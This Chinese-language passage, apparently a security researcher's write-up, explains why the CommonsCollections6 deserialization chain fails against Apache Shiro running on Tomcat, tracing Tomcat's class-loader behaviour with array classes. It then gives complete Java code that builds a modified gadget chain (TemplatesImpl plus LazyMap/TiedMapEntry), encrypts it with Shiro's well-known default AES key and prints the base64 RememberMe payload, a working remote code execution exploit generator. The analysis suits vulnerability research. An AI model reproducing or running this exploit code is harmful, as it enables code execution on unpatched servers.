在Shiro反序列化中,使用CommonsCollections6生成EXP会利用失败,从Catalina日志可以看到反序列化失败,提示Unable to load class named [[Lorg.apache.commons.collections.Transformer;],无法加载这个类。
在反序列化代码处下断点
跟进可以发现ClassResolvingObjectInputStream继承了ObjectInputStream,并且重写了resolveClass方法。发现Shiro使用了ClassUtils.forName方法代替了原本ObjectInputStream类中的Class.forName。
跟进ClassUtils的forName方法,先使用THREAD_CL_ACCESSOR.loadClass加载,如果不成果会依次使用CLASS_CL_ACCESSOR.loadClass和SYSTEM_CL_ACCESSOR.loadClass来进行加载,
THREAD_CL_ACCESSOR返回当前线程上下文的ClassLoader,在Tomcat中间件中,返回的当前线程上下文的ClassLoader为ParallelWebappClassLoader。跟到org.apache.shiro.util.ClassUtils.ExceptionIgnoringAccessor#loadClass,随后进入Tomcat的WebappClassLoaderBase类
这里首先使用findLoadedClass0()检查当前要加载的类是否已经被WebappClassLoader加载过。然后使用findLoadedClass()从java.lang.ClassLoader类加载缓存检查当前类是否已经被加载过。
尝试使用ExtClassLoader类加载器加载类。
这里如果delegate为true且类在定义的名单范围内,使用URLClassLoader家在类,
Delegate默认为false,所以在local库中寻找
findClass()会调用findClassInternal(name),
getClassLoaderResource主要在WEB-INF/classes和WEB-INF/lib/中搜索根据寻找类名,如果寻找到则将class文件字节码内容转成字节流,然后调用ClassLoader的defineClass将字节流转成class对象,从而完成类的加载。
这里由于数组类的全限定类名在转成路径时因为加入了[,所以是搜索不到的。
使用Class.forName()进行加载,加载器是URLClassLoader,对应的path中不包含WEB-INF/lib/,因此也无法加载到[Lorg.apache.commons.collections.Transformer这个类,最终抛出异常。
解决办法就是不使用数组类,使用CC3的前半部分,CC6的后半部分。
TemplatesImpl templates = new TemplatesImpl();
Field nameField = templates.getClass().getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "aaa");
Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("/Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove(templates);
Field iTransformersField = LazyMap.class.getDeclaredField("factory");
iTransformersField.setAccessible(true);
iTransformersField.set(lazyMap, invokerTransformer);
ByteArrayOutputStream serExp = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serExp);
objectOutputStream.writeObject(map2);
objectOutputStream.close();
//
byte[] value = serExp.toByteArray();
CipherService cipherService = new AesCipherService();
if (cipherService != null) {
ByteSource byteSource = cipherService.encrypt(value, Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="));
value = byteSource.getBytes();
}
String base64 = Base64.encodeToString(value);
System.out.println(base64);